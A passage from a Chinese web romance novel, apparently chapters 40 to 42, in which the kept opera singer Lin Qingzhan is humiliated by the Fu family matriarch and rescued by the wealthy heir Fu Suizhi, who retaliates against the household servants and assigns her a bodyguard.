“第一次尝试是十六岁,我跟着唐老大在做一个项目,投了我手里头全部资金,一百万,成功了赚十倍,不成功,我的资金链就彻底空了。” 他叼着烟猛吸了一口,随后还是将烟蒂摁灭在烟灰缸里。 “签完合同尘埃落地那天,跟着老大在酒店里抽了第一根。那种感觉,像是有人撑住,很爽。” 早前有位大师给傅随之看过命,说他鸿运命格却天生带煞。 他生于傅家这种大家族,父亲是之前的傅家未来继承人,若是一切顺利,傅清庭上位,他和妹妹的出生,会伴随着祥瑞,含着金汤匙长大,往后富贵一生。 偏偏他的父亲被人害死,母亲小心翼翼照看他们,还是弄丢了他妹妹,母亲思疾成灾也离开了他们。 从此傅随之成了孤家寡人。 别人都以为他会就此下去,这也是傅清檐最想看到的,可是老爷子傅怀锦极为疼爱傅清庭,费尽心思也要保住他的儿子。 傅怀锦将傅随之养在身边,照顾有加,花了大力气培养,甚至助他进了浮梦今安。 再者,傅随之有母亲的母族支撑,棠老爷子从小庇护他,就这么让他从孤家寡人的小嫩芽长成了现在覆手为云的参天大树。 这些说起来,傅老爷子和棠老爷子的助力大,可他自己承受的担子也不轻。 他谁都不能说,只能都憋在心底,唯一的调节方式是抽烟喝酒。 以往从来不会有人关心他这些,不会关心他为什么嗜酒爱抽烟,他也不说,可今天林青盏问了,他也作了回答。 是他从未做过的事情, 林青盏的聪慧之处就在于,她会点到为止,有些事不能知道得太多。 她半起身,白皙手臂环抱住他,将脸埋在他颈窝。 这是她给他的无声安慰。 傅随之手掌压在她后背,紧紧把人抱住良久- 林青盏一直默认自己和傅随之是依附关系,傅随之是金主,她是笼中雀,她给傅随之想要的价值,而她也能得到傅随之的庇护。 可是这段时间下来,她感觉两人的关系变得不单纯了。 傅随之对她的好,超乎意料,林青盏对傅随之的感觉也有了变化。 她觉得事情不对。 听到她所言,电话彼端的顾蝉直言:“不就是傅随之对你好像有点喜欢,你也对他动了心,这有什么不对的?” “可是,我们的开始就不对,我不确定——” 顾蝉这几日在海城博物馆修复古画,这东西极难修复,她修得烦了给林青盏打电话闲聊,没想听到这八卦。 她连围裙都脱掉了,走到休息室认真和林青盏讲电话。 “你是担心,一切都是你自己的错觉?” “不是的。” 林青盏一个二十四岁的女人了,自然分辨得出,喜欢和不喜欢。 喜欢很容易,不喜欢也简单,只是成年人的感情里,喜欢和不喜欢可以一念之间转变,或者,喜欢永远到不了爱。 当初她喜欢慕殇淙,也能感受得到慕殇淙对她的喜欢,可慕殇淙为了自己的利益能将她拱手送给其他男人。 那傅随之的喜欢又价值多少? 那天晚上在海边别墅,他为她点亮了最喜欢的月亮灯,与她在海阔天空下做.爱,他亲口在她耳畔承认的喜欢,林青盏愿意相信这是真的喜欢。 只是这份喜欢能跨越阶级以及往后漫长到数不清的日子么? 林青盏坐在望月台后院,仰头看着院子里的桂花飘零下来,小小的花瓣落在她脸蛋,很是柔软,像是风吹拂而过。 她手指捏紧了电话,“我只是在犹豫。” “犹豫什么?”顾蝉问。 傅随之贵为傅氏集团掌权人,身后背着的是一整个傅氏家族。 李若曦说她这身份傅家看不上,嘲讽她想当正宫,简直是痴心妄心。 说得倒是有点道理,林青盏和傅随之的地位悬殊,再怎么都无法逾越。 “所以本质上,傅随之和慕殇淙一样的,他和我身份地位差别太大。他们的生活对我来说是另一个世界,如果只是金主和笼中雀,那谈不上未来,单纯的交易可以随时叫停。可如果是恋爱的漩涡——” 她自然知道,如果她和傅随之两情相悦后,傅随之真想娶她进门,他必然耗尽所有也能做到,那时候恐怕傅家没有一个人能奈何得了他。 但这才是她真正的痴心妄想,她竟然敢痴心妄心傅随之会愿和她白首不相离,为她做到不顾一切的地步。 林青盏心底其实已经剖析清楚,“我纵身一跃,唯一的出路是等他接住我。” 顾蝉听懂了,“小盏,你是在害怕?害怕傅随之的喜欢不过是片刻的,有一天他如果突然收回所有的情感,你怕自己 会摔得粉身碎骨?” “是。”林青盏笃定,“我不想要这种需要以赴死之心走进去的感情。” 顾蝉叹了口气,“可是小盏宝贝,你发现了么?” “嗯?” “这段感情还未真正开始,你竟然已经在思虑你跟傅随之的未来了,你还敢说你没对他动心?” 林青盏纤细眼睫颤了颤,心底像是一片沼泽突然陷落。 是了。 在这场交易里,她和他同样犯了错,她竟然动了心。 因得这一念头,一整天林青盏都心不在焉的,午后表演的时候,竟还走错了步,还好兰青翎跟她配合默契,不经意间救了场。 下了舞台,兰青翎疑惑问:“身体不舒服么?” 林青盏摇了摇头,“师姐,对不起,今天是我没注意。” 兰青翎难得有些严肃:“小盏,我不知道你发生了什么事情,但我很早就跟你说过了,不管发生了什么事情,上了舞台,你只能做一件事,投入角色中好好完成表演。” “是。” 兰青翎悠悠叹了口气,“先回去休息。明天你的场次我替你。” “谢谢师姐。” 何青素站在她们身后,将对话听了个遍,满脸不悦:“大师姐就是偏心,总对小盏姐一个人好。” 兰青翎转身看她,“我对你不好吗?” 何青素瘪嘴不说话,冷眼看了看林青盏,迈步离开。 兰青翎叹了口气。 林青盏扶着她手臂,“以后你不必对我多关照,免得她心底不舒服。” “你以为她看你不顺眼,是因为我对你多有照拂?” 林青盏疑惑看向兰青翎。 兰青翎低声说,“这件事本来不想跟你说,毕竟你现在跟慕觞淙没有什么关系了。” “慕觞淙?” “小素现在跟着慕觞淙。” “什么?”林青盏诧异,“慕觞淙不是刚跟宋雅薇订婚,很快要结婚了?” “具体什么情况我们也不清楚,是前段时间青山看到慕家的车接送她,心底疑惑,让我过去询问。小素没有否认。” 兰青翎将她往旁边的走廊拉过去,“后来青山又听一个客人喝醉酒提到过,说是宋家那位大小姐也在外面有人。他们这种豪门联姻,怕是都各玩各的吧。不管怎样,豪门人对感情不专一,他们有那个资本玩,但是小素不一样,所以我就劝说了她两句。” 结果是,何青素完全不听,兰青翎也拿她没办法。 林青盏突然想起订婚宴那次,看到宋雅薇和林博昶暗度陈仓。 或许兰青翎说得不无道理,只是林青盏没想到慕觞淙会这样,找的还是何青素。 左右这跟她没关系,林青盏权当不知道。 卸了妆换好衣服后,林青盏跟傅小灵一起走出望月台。 傅小灵:“姑娘今天有什么想吃的么?” 林青盏想了想,“想吃清蒸鱼。” “好。那我跟我妈说一声,让她赶紧弄,回去就能吃啦。” 傅小灵拿起手机,电话却没来得及拨出去,看到迎面走过来的人,脸色瞬间变了,下一秒她挡在林青盏面前。 林青盏疑惑抬眸,看到一位老者。 老者自称傅老爷子傅怀锦的人,“请林小姐过门一叙。” 傅小灵替她拒绝,“常叔,今天恐怕不方便,爷还在家里等着呢。” “那就请大少爷一同过来。” 傅常半分不让,碰倒是没碰到她,却将傅小灵抓着要往旁边甩。 林青盏护住傅小灵,“有话好说。我跟你们去一趟就是了。” 傅小灵心底叹气一声,觉得完蛋了。 黑色宾利开到傅府大门口,林青盏和傅小灵下了车。 林青盏抬眸,望着恢宏的牌匾,心底略有感触。 上一次,傅随之亲自到望月台将她带回,说她可能是他妹妹,她跟着他踏进傅府时,心底很是忐忑。 此刻亦是如此。 只是这次她知道傅随之很快会赶来,勉强还能保持镇定。 傅小灵扶着她踏过门槛,低声在她耳边嘱咐:“姑娘,待会你随机应变,只记住一句话:有什么爷自会担着。” 林青盏轻轻拍了拍她的手背,以示安抚。 傅常带着人一路到了老爷子傅怀锦住的荣华园。 傅府上下的奢华布置,林青盏之前已见识过,倒是没有过多的惊讶。 走进荣华园,到了前厅,傅常这才停下来。 林青盏跟着停步,抬起头看到坐在罗汉椅上的两位老人。 男者穿着浅灰色中山装,满头白发,眼神略显浑浊,但面容依旧严肃沉稳。 旁边的老夫人衣着华贵,绾着整齐洁净的发髻,佩戴翡翠耳环和项链,满是皱纹的手腕戴着同色系的翡翠手镯,看起来雍容华贵。 旁边有个专门伺候的女子,长得很是漂亮,一袭及踝缎面长裙,姿态落落大方。 女子斟了一杯茶递到手边,老夫人轻抿了口,用真丝手帕压了压嘴角,这才抬眸看向走进来的林青盏。 沈家蓉睥睨她一眼,“你就是望月台那唱曲儿的姑娘?” 口吻听着就叫人很不舒服。 站在身后的傅小灵听着着急,想上前为林青盏开口,被老夫人一记眼神压了过来。 林青盏轻抬手背,没让她惹事,礼貌对着老夫人欠了欠身,“我叫林青盏,见过傅老爷,见过老夫人。” 林青盏在浮城生活了十几年,关于浮城这些豪门自然都是听说过的。 她知道面前这位老夫人沈家蓉不简单。 沈家蓉是沈家人,娘家不是浮城的沈家,而是更有权势的京都沈家,势力不比傅家低。 早就听说,这位沈老夫人很有手段,很得傅家老爷子宠爱,在傅府是说得上话的。 林青盏进门的时候,傅怀锦只顾着依靠在木椅上,沈家蓉倒是将她好一番打量。 “林青盏。听着倒是好名字,这么多年了,白云本事还在。教出来的徒弟,唱曲能力好,攀男人的本事也炉火纯青。” 林青盏原本还想着,傅随之之前在两位老人身旁长大,现在顶着的也是傅氏集团掌权人的身份,有些礼数,她是该做到,不然失的是傅随之的脸面。 可没想到沈家蓉一上来先是逮着她师父羞辱了两句,这口气林青盏要是不声不响咽下去,反倒是对不起白云这些年的教育之恩了。 她不着痕迹般抬眸看向沈家蓉,“我师父从小教我昆曲,别的倒是没教会我。可能是我这人野惯了,她老人家也觉得压不住,干脆随我去了。” 这话说得轻柔,可回怼的意味却极为明显。 沈家蓉冷哼一声,“好伶牙俐齿一张嘴,难怪能哄骗着随之为你费神。” 说到这话,林青盏不想应了。 “怎么现在倒是不说话了?” 林青盏依旧不吭声。 沈家蓉从来都是个高傲骄纵的主,即便是五大家族的后辈过来了,都得安静听着她训话,顺从答复。 这是头一回,竟然有人敢拂了她面子。 沈家蓉看着林青盏的眼神瞬间沾染了恶毒感,她朝着身后的人使了个眼神,那女人随即走上前来,将林青盏一把摁下去,让她跪在沈家蓉面前。 她一时没注意,膝盖猛地磕在地板上,随即传来剧烈的疼痛感。 她想起身,却被后面的老佣人狠狠摁住,“老夫人训话,你就该乖乖跪着。” 这人使了劲儿往她手臂拧下去,林青盏挣扎不了,干脆半弯下腰,她知道只有这样才能少受罪。 见她姿态下去了,沈家蓉神色缓和不少,端着茶杯饮了一口,姿态风雅将茶杯递给旁边的沈钰铭,这才转身给了林青盏一正眼。 “现在的小姑娘心思都不单纯,总想着往上攀高枝,其他人也就罢了,你现在蛊惑的是随之,我不免要教训你个一二。” 沈家蓉眼神犀利望着她,林青盏还能分神想,难怪傅随之长成了一副清冷模样,那眼神犀利得吓人,原来是被这样的人教着长大的,那就难怪了。 “随之是我傅家的掌权人,他背负的是整个傅家。男人在外忙碌,总要有个能操持家族的女人为他掌管内事。这些事你做不来,这你应该心底清楚,别不知道掂量自己。” “你以为被养在外面,当个闲散花钱的就容易了?这你就大错特错。” …… 傅随之是在开国际会议中途,被秦楠叫出来的。 他走出会议室大门,冷着脸看秦楠,“你最好有什么重要的事情,否则——” 秦楠不敢耽搁,“小灵刚刚传了消息过来,林小姐被傅常带走了。小灵没能阻止成功,现在人已经进了傅府。” 傅随之严苛的神色恍惚了下,转身往电梯走去,眉眼间难得出现了慌乱的思绪。 他径直去了地下车库,刚要上车,被傅慎拦住,“爷,你现在不适合开车,我来吧。” 傅随之看了傅慎一眼,“十五分钟到。” 他这才转身上了后座。 傅慎之前玩过赛车,车技了得,半个多小时的车程当真十五分钟就到了。 下了车,连车门都没顾得上关,他们三人齐齐往荣华园疾步而去。 园子外有人守着,傅随之没开口,傅慎和秦楠直接将人过肩摔,通通踹开。 傅随之亲自去踹开了门,快步往里面走,抬眸就看到林青盏被沈家蓉身边的人摁在地上。 他脸色阴沉得可怕,什么话都没说,上去对着那老佣人就是一脚,把人踹到旁边去。 他蹲下身,扶住林青盏的手臂,将人搂入怀中,见她嘴唇发白,胸膛里那颗心剧烈跳动着,心底的阴暗像是海啸般翻涌而来。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-45 第41章 傅随之也不是一开始就是阴暗冷漠的人,小时候棠傛还在的时候,他很乐观,是个很体贴的小绅士。 后来被养在傅怀锦膝下,接受的都是打压式教育,傅鸿源和傅鸿浠还天天盯着他,只要他身边出现什么宠物,必定会被弄死,连他的同伴陈挽也被害死,他才逐渐形成了阴暗冷酷的性格。 后来开始混迹商界,这种性情变得越发明显,阴狠大佬的称号也是这么传开的。 在傅慎记忆中,他唯独对女士会稍微收敛那股阴狠毒辣,只剩下冷漠。 这或许是因为他母亲和妹妹。 林青盏出现后,他已经很久没有那种阴鸷想发疯的状态。 可此刻他恢复原本的面目,恶狠狠盯着沈家蓉。 秦楠站在傅随之身旁,都能感觉傅随之那种阴沉到想杀人的恐怖气息。 他看了眼傅慎,是做好了准备要拦住傅随之,不能让他在这里闹事,否则傅清檐明天肯定找到族长联合批判傅随之。 关键时候,是林青盏支撑不住,双腿发软跌入他怀中,叫他收回视线。 身上的那股子阴暗也收敛了些许。 他将人打横抱起来,低头看了她眼。 片刻后,他抬眸,望着傅怀锦和沈家蓉,表情犹如猎豹般凶狠。 沈家蓉望着他那眼睛,无端想起十几年前棠傛望着她时的眼神,好像随时要扑上来将她的喉咙咬破似的。 沈家蓉一时间怔愣,是旁边的傅怀锦坐起身,严厉呵斥:“随之,你放肆!” 傅随之望着傅怀锦,“我一向如此的,爷爷又不是第一天知道。” 这可是傅怀锦亲自教授,“只要不把任何人放在眼里,就不会惧怕!” 傅随之一直在这么做。 他垂眸看了眼下意识抓住他衬衫的林青盏,声线越发低哑,“那我今天索性就放肆到底,跟您二老告知一声,我院子里的人轮不到外人教训。最好不要有下次。” 说罢,他抱着林青盏转身就走。 七月底的天气,很是燥热。 林青盏贴在傅随之怀里,能够感受他偏高的体温,好似火把炙烤着她。 但她竟然不觉得难受,只本能得想要更加靠近这份温暖。 其实老夫人就让人摁着她,倒是不至于动手打她,她一时没站稳是因为膝盖磕到痛得很。 她没想到傅随之会来得这么快,而且他竟然当众忤逆二老,就是为了护着她。 林青盏感觉心底有一股暖流淌过。 她抬起头,望着傅随之硬朗的脸庞轮廓,纤细手臂攀上他的脖颈,紧紧地抱住他。 傅随之原是一路要往大门走去的,走了两步又觉得不妥,转而还是回了海棠苑。 今天老夫人这一出必然已经传出去了,都在说她是他养在外头的金丝雀,如果他这么将人带出去又继续养在海棠湾,流言蜚语必然会不利于林青盏。 他干脆抱着人一路往深处而去,走进海棠苑,去了他在东院的房间。 傅府的布置和现代化装潢的海棠湾完全不同,房间里摆放着的都是古木家具,以及有些年岁的古董摆件,很是古风古韵。 他房里的这木床不是她之前住的那拔步床,款式简单许多,平铺着一层浅灰色的床单和真丝被。 傅随之将人放在床铺中央,转身让傅小灵进来。 傅小灵拿了跌打损伤的药膏过来,原是想给林青盏膝盖上药的,却被傅随之夺了去。 傅随之冷着脸,眼神阴沉得可怕,“自己去院子领罚。” 傅小灵只敢点头:“是。” 以往听说过傅随之的阴狠毒辣,听说过他是如何将对手置于死地再无翻身可能,但那些从未给过她真实的感受,是到了此刻,看到傅随之冷若冰霜,林青盏才深刻知道众人对他的评价还是太保守。 她半依靠在床头,看着他不太敢呼吸。 将傅小灵赶出去后,傅随之不发一言,翻开药箱,拿了酒精棉签,为她清洗伤口涂药。 酒精落在伤口,疼得她倒吸一口气,她纤细手指抓着小腿,一时间没敢吭声。 下一秒,她感觉傅随之的手劲儿加重,酒精棉签摁在磕破的伤口,疼痛难忍,她下意识抓住他的手腕。 “能不能轻点?” 傅随之冷笑,“我还以为你是不知道痛。” 都这样了,她愣是一声不吭,傅随之就想看看她能忍到什么时候。 林青盏:“……” “别人让你上车就上车,你是都不怕别人把你卖了?” 早上才跟顾蝉聊起两人的地位悬殊,今天傅府的人就过来送了她这么一出好戏,说实话林青盏不是没有情绪波动。 只是她习惯了不轻易将情绪表露出来,毕竟宣泄情绪也没用。 可她没想到傅随之这个冷酷毒舌,一上来就呛她,她莫名也有些气恼,“又不是没被卖过。” 一句话让傅随之动作都停了下来。 作为曾经的“买方”,傅随之并不愿意谈这件事,“以后学乖点,不管是谁,不要轻易跟人走。” 林青盏闷不吭声。 傅随之情绪不佳,懒得再说,为她涂了药将伤口包扎,随后毫无征兆将她的裙摆掀起来,吓得林青盏摁住他的手臂,“作什么?” 她都这样了,他竟然还要? 对上她那略气愤的眼眸,傅随之了然她的心思,难得好心情解释一句,“看看有没有其他伤?” 林青盏摇头,“没有了。” 傅随之声音极冷,“我看看。”是不容反驳的口吻。 林青盏心底的委屈像是灭了的蜡烛,风一吹再次燃烧起来,她抬起湿漉漉的眼眸望着他,“你凶什么凶?” 话说得很冲,但其实她声音依旧柔软如风,落在傅随之耳朵反倒像是娇嗔。 “我凶?” “你就是凶!”林青盏手掌抵着他胸膛将人推开,“你家里人把我抓过来的,你让我怎么做?我愿意跪着磕破自己膝盖的嘛?” 傅随之原本就恼怒她被这样对待,这会儿又听到她声音委屈哭诉着,更是心烦意乱,只想将她抱住。 他手臂刚举起来,就被林青盏推开,他难得没有发怒,手掌搭在她头发揉了揉,“我也没凶你。” “你刚刚凶我了。” “我是担心。” “你还要罚小灵。” 傅随之手掌逐渐往下揉了揉她脖颈后面的软肉,“她没保护好你,就该罚。” “你暴君!” “……” 林青盏虽然从小无父无母,哥哥也不在身边,但在望月台,她有师伯师父师兄师姐,各个都宠着她,除了平日里练功的苦,倒没让她受过多大的委屈。 在加上大家庭里长大的孩子,习惯了什么事情都要自己做主,所以她内心是坚韧有自己的脾气在的。 她心底再惧怕傅随之,也敢跟他表达出自己心底所想。 “不要罚小灵。” 傅随之没点头,举起手臂又过来抱她,低下头,嘴唇蹭着她脸蛋亲了亲,哄着她脱了衣服让他检查伤势。 方才那老佣人抓住她手臂时用了狠劲儿,这会儿立马淤青了。 她皮肤白皙透亮像是瓷器般,就显得那淤青越发可怖。 傅随之将人搂在怀中,举起她纤细手臂仔细查看,确认只有手臂淤青,没有其他伤口。 看了看那淤青,他脸色越发冰冷。 下一秒,他低头,温热嘴唇吻上她的肌肤,如清风拂过,惹得林青盏不禁颤抖。 她刚想往旁边躲开,被他手掌禁锢,他的嘴唇很快追过来,沿着脖颈亲吻往上,抵在她唇边,“不进去,就亲一亲。” 他也不等林青盏回答,贴着她的嘴唇重重吻了下去。 手掌捧起雪白,轻柔安抚- 将人哄着睡下后,傅随之起身将那皱巴巴的衬衫换下,绕过山河图屏风往外走去。 月光下,傅小灵还站在院子里。 傅随之罚人不打不骂,就让人站着静思,但这种让人猜不透心思的才更可怕。 明叔和李嫂靠在走廊上满脸担忧,见他出来,话都不敢说,转身进了屋。 傅慎和秦楠站在屋檐下,倒是没动,就等着看傅随之有什么吩咐,自然心底也是担心傅小灵。 傅随之看了傅小灵一眼,“进来。” 许是站得太久了,她迈开步伐时双膝打颤了下,还是傅慎走过去扶着她才没倒下。 傅慎将人扶进前厅。 傅随之已落座,“说。” 傅小灵明白傅随之的意思,将今天所发生的事情一概说了遍,连老夫人屋里的佣人是怎么拧林青盏胳膊、怎么将人摁在地上都说得一清二楚。 傅随之依靠在木椅,手臂自然垂落,眼神冰冷得可怕。 他给秦楠使了个眼色,秦楠随即往外走,不过片刻,就将那老佣人和傅常都带过来。 两人被摁在地上跪着。 秦楠让海棠苑里的老人过来,照着老佣人手臂一寸一寸拧下去,还往她嘴里塞了布,就是不让她哼出声。 傅常在老爷子傅怀锦身边伺候了四十多年,倚老卖老,还想说傅随之两句,傅慎上去就把人踹飞。 折腾了半个多小时,秦楠又叫人过来,将他们带走丢在荣华园门口。 这一举动,无非是在直接打老爷子和老夫人的脸,老夫人一口气差点没上来,当场晕倒了。 傅随之行事风格极为狠厉,但那些多半都是用在商圈里,这是第一次在内宅如此大发雷霆。 傅清檐那边很快得到消息,在院子里仰头大笑,边给院子里的花浇水边哼起了曲儿来。 傅清檐和傅清庭长相有五分相似,但是行事风格极为不同,傅清檐崇尚严政,觉得傅清庭太过妇人之仁,所以他一直反对傅清庭这个长子继承傅家。 他从小就极爱表现,老夫人觉得他聪明,偏袒着他,但老爷子却喜欢傅清庭多一点,一直想让傅清庭作为继承人上位。 后来傅清庭去世,老爷子就傅清檐这么一个儿子,傅清檐以为自己终于可以上位了,却没想到老爷子不仅把持着权力,还总是维护那孤儿寡母三个,后来更是将傅随之养在身边亲自教诲。 他一直对老爷子心有怨言,这些年虽然逐渐退下来,但还是会在背后为傅鸿源和傅鸿浠出谋划策,始终想着的是要将傅随之推下去。 原本傅随之这人刀枪不入,死咬着傅氏这块大肉,怎么都抢不过来,倒是没想到现在会为了一个女人,跟老爷子直接对着干。 傅清檐自然是高兴极了。 他们最好是斗个你死我活,最终获利的就是他- 傅清檐这边的动静都逃不过傅随之这边,但傅随之压根不在意。 他现在就是要将林青盏留在身边,最重要的是保证她的安全。 傅小灵偷瞄他一眼,忽而说:“老夫人想让沈家人进门,那沈钰铭今天也在,恐怕事情不会如此顺利平息。” 秦楠看她一眼,顺着她话说道:“小灵一个人不一定能护得住林小姐,不然我和傅慎谁过去一个?” 傅随之没吭声。 秦楠又试探性说道:“不过我和傅慎现在手里的项目也不少,如果不想耽搁进度,其实还有另外一个人选。” 傅随之抬眸看他,秦楠咬着牙继续说道:“小敏。” 听到这名字,傅小灵和傅慎都吓了一跳,恨不得冲上去捂住秦楠的嘴巴,只是没想到,傅随之竟然点头同意了,“让她明天的航班回来。” 秦楠面色欣喜,“是。” 傅小灵震惊。 傅随之竟然同意傅小敏回来?- 林青盏没想到深闺大院里的事情,竟然隔天就传得满城沸沸扬扬的,连远在海城的顾蝉都打来了电话询问。 “傅家老夫人打你了?” 林青盏膝盖受了伤,行动不便,刚巧兰青翎说让她多加休息,将她的场次都往后两天排,她就待在府上好好休息。 这会儿,她正坐在院里的石凳上,手里提着水壶在给海棠花浇水,柔顺的裙摆披散下来,长发随风飘扬,仙气飘飘。 她拿着手机贴在耳边,“不是她打的。” 她简单说了昨天的事情,顾蝉在那端很是气愤,“这不还是她打的,她的人都算在她头上。我早听说这位沈老夫人很是厉害,现在看来,果然如此。” 林青盏将水壶放在一旁,听到顾蝉在电话彼端继续问:“傅随之什么态度?” “他很生气,昨天把我带回来,还让小灵自己在外面领罚。据说还把老夫人院子里的人带过来打了一顿。” “阴狠毒辣傅三爷果然名不虚传。他这样傅老夫人没跳起来?” 林青盏摇头,“不知道。傅随之没让我出门,小灵也不敢跟我多说,所以我也不知道那边什么情况。” 顾蝉对傅随之有些许了解,“难道以后要让保镖整天跟着你?” 林青盏蹙眉,觉得这样很不方便。 傅小灵从厨房里端着燕窝过来,放在她面前的石桌上,见她在打电话,指了指白瓷碗,用嘴型说道:“姑娘记得喝。” 林青盏点了点头,继续和顾蝉讲电话。 她被关在这海棠苑中,不知道城中的消息,便让顾蝉具体跟她说说。 顾蝉圈内的姐妹不少,即便在海城那边也有人往她跟前送消息。 消息传得沸沸扬扬,说傅三爷养在外面的那只金丝雀被傅家老夫人逮回傅府,当着沈钰铭大小姐的面,将金丝雀教训了一顿,为的就是给沈钰铭长面子。 顾蝉略显迟疑,最终还是说道:“外头现在都在传,沈家蓉想让沈家人做这傅家主母,浮城沈家有京圈沈家支撑,能够带着傅家往京圈发展,傅家也能在浮城给沈家支撑,这事情怎么说都是双赢的。” 林青盏自然知道,豪门之间的联姻都是如此。 顾蝉:“傅府的事情能够在外面传得这么快,必然是有人授意,暗中安排。我跟我哥问过这件事,傅随之刚上位没几年,根基还不算稳固,也只有在这时候,傅老爷子和老夫人还能说上话,依傅三爷那脾气,恐怕再几年就不好安排了,所以他们才会那么急,直接都对你上手了。” "不过我哥也说了,就傅随之那性格,最是不喜欢被人拿捏。他们要是好好商量着来,他还能礼貌拒绝这门亲事,可他们偏偏不,要来硬的,那三爷恐怕连他们脸面都不会给。” 顾蝉悠悠叹了口气,“回到刚刚说的,三爷根基不稳,现在跟他们直接硬碰硬自然是没有好处的。我哥说,傅清檐和傅鸿源已经在联系各大股东,也时刻盯着公司的事情,只要三爷稍微露出马脚,他们肯定马上扑上来撕咬。” 林青盏最不愿意面对的就是他们身份悬殊这件事,可事实偏偏不随她所愿。 不只是地位差异让她不得不迎面应付傅府上下的恶意,她还需要面对,由她给傅随之带来的不便,会让他无支撑迎战。 挂了电话,林青盏垂眸望着面前的白瓷碗,晶莹的燕窝很是可人,但她压根没胃口。 夏日的风吹拂而来,都带着热气。 林青盏坐了会儿,感觉额头沁着浓密的汗,赶忙将燕窝喝完,站起身要往屋里走。 抬眸刚巧看到“傅小灵”从门口走进来,只是换了一身装 扮,没有了柔顺的长裙,取而代之的是职业套装,头发也高高扎起,一副干练的模样。 “傅小灵”看到她,眼底有着探究,走到她面前,微微点头,“林小姐。” 听到声音,林青盏随即戒备地往后退了两步,“你不是小灵,你是谁?” 屋里的傅小灵听到声音赶忙跑出来。 林青盏抬眸看向她,又转身看着职业装女人,很是诧异,怎么有两个“傅小灵”? 傅小灵赶忙解释:“林小姐,这位是我妹妹傅小敏。她之前被三爷派遣到意大利,今天刚回国。” 傅小敏看向林青盏,“接三爷命令,往后我跟着林小姐,有事姑娘尽管吩咐。” 林青盏恍然大悟:“你们是双胞胎?” 傅小灵点头,“是双胞胎,我就比她早出生一分钟。不过我们两人性格天差地别,看穿着应该也可以看出来了吧。” 林青盏歪头看着傅小敏,总感觉傅小敏身上的气质很熟悉。 这种感觉延续了一整天,直到傍晚傅随之回来,她看到傅随之后,才恍然反应过来,傅小敏的眼神和表情都跟傅随之如出一辙。 傅随之进门看到傅小敏,眼神没有任何改变,径直往林青盏走过去,宽厚手掌揉了揉她的头发,“伤口好点了?” 傅小灵和傅小敏将饭菜端过来,林青盏坐在圆桌前,刚要用餐。 她仰起头看他,一双眼睛圆润纯净,“好些了,今天走路都不疼。” 傅随之点头,“那吃完带你出去玩。” “嗯?去哪里?” 傅随之捏了捏她的脸颊,“有个活动。” 之前好几次,傅随之带着她参加各种晚宴,当时林青盏只当自己就是傅随之养着的金丝雀,金主让做什么就是什么。 现如今境况不同,傅家人已表态,不认可她的身份,甚至在推进傅沈两家的联姻事宜,这时候傅随之再公然带她出门,无疑公然宣战。 所以,林青盏略显迟疑。 她抓住他的手指,“我还是不去了吧。” 傅随之望入她眼眸深处,“为什么?” 林青盏垂眸。 他手指掐着她下巴,迫使她抬眸,“在怕什么?” 他的脸庞硬朗,浅棕色眼眸没有任何温度时显得极为清冷,周边也像是环绕着冰霜般。 林青盏知道他耐心所剩无几,若是她再如此唯唯诺诺,恐怕他会发脾气。 她抓住他的壮硕手臂,“我不想再给你惹麻烦。” 傅随之眼神闪烁了下,身上的怨气被这一句瞬间安抚。 他卸了劲儿,指腹蹭了蹭她的脸蛋,“麻烦?是挺麻烦的。” 林青盏抿唇。 他忽然压低身姿,线条分明的嘴唇就要抵上她的唇,声音低沉到只剩一片气音,“要不是你腿伤着,我晚上有的是事做,还需要麻烦去这?” 林青盏眨了眨眼睫,片刻才反应过来他在说什么! 望着她怔愣的神色,傅随之身体往前,几乎要吻上她的唇。 “还是你想留在家里,做——” 没让他将话说完,林青盏举手捂住他的嘴。 海棠苑这边厨房和餐厅是相连着的,餐厅也是偏厅,日照不算充足,平日里用餐,多半会到客厅来。 此刻,他们在客厅。 林青盏坐在圆桌旁,傅随之单手撑在桌面,低头靠近她。 傅小灵和傅小敏原本要伺候林青盏用餐,秦楠和傅慎刚跟着傅随之回来,随意站在走廊门边,明叔和李婶刚端着水果过来,一家人齐齐望着他们。 林青盏白皙手掌捂住傅随之的嘴巴,转身对上众人目光,赶忙收回手。 是在这时,傅随之捏着她的下巴,低头凑过去不由分说深吻了她。 林青盏双手抵着他胸膛将人推开,听到傅小灵惊讶得倒吸气,气得往他胸口一拳捶下去。 再抬眸,所有人都转头看向其他地方,假装没看见。 林青盏觉得傅随之纯属故意!! 用餐后,林青盏上楼去换衣服,傅随之收敛了逗弄她的笑容,这才转身看向傅小敏。 傅小敏恭敬走到他面前,心底突突的。 之前她就听秦楠说起过林青盏,知道傅随之现在身边有个极为看重的姑娘,原本还不相信,但今天一看心底十分震惊。 傅随之这人从小清至极,行事风格极具雷霆手段,虽对他们这些身边亲人会柔和些许,但傅小敏很少见他脸上有笑容的。 可方才,傅随之跟林青盏说话时,不仅嘴角挂着笑,眼眸深处也满是宠溺。 这是她从未见过的傅三爷。 想起以往的事情,傅小敏担忧看向傅随之。 傅随之一身黑色衬衫,倚靠在木椅上,手肘自然搭着桌面,看向她时,冷面寒霜。 “脑子清醒了吗?” 傅小敏赶忙点头。 “以后你跟着她,记住什么话该说什么话不该说。除了我,一切只听她的命令。” 傅随之骤然抬眸,“她出了事,唯你们是问。” 傅小敏和傅小灵用力点了点头—— 作者有话说:傅三爷:还是你想留在家里,做? 小纾:不要不要不要! 傅三爷:好,你要。 第42章 今晚,今安茶楼在城南开了新店。 今安茶楼历来都是浮梦今安几位大佬采取股份制联合共有。 这一辈的浮梦今安以唐郁东为首,他的股份最高,再来是傅随之。 这次浮城开新店,是傅随之一手操办,他突然提出要举办庆祝晚宴,其他人自然会配合。 由傅随之主导的消息传出,这晚宴自有豪门圈的来捧场,送来的高级花篮都要摆到街尾。 唐郁东和纪时礼这两位家里没人的早早过来,但并不招待客人,只管躲在包厢里喝茶。 今安茶楼装饰一向走的古韵风,包厢以咖色板材装饰,中央摆放着长木桌,旁边有专人在泡茶。 纪时礼穿一身白色休闲西装,搭配粉衬衫,又顶着一头卷发,看起来极为浪荡不羁。 他往后靠在木椅的圆弧靠背,脑袋往后仰,悠然自在望着头顶的灯笼式古灯。 “傅三这么大张旗鼓的,该不会是想跟傅老爷子正面开战?” 唐郁东身材壮硕高大,同样的姿势靠坐在木椅上,双腿感觉都有些无法安放的放荡。 他指尖捏着跟烟,猛吸一口,吐出烟雾。 在烟雾缭绕中,抬眸看向纪时礼,一脸的无解,“你问我?” 纪时礼觉得无趣,他们这位大哥就是感觉对什么都没兴趣似的,八卦也不积极。 好在包厢的门被推开,顾宴迟走了进来,“这还用问,明摆着是。” 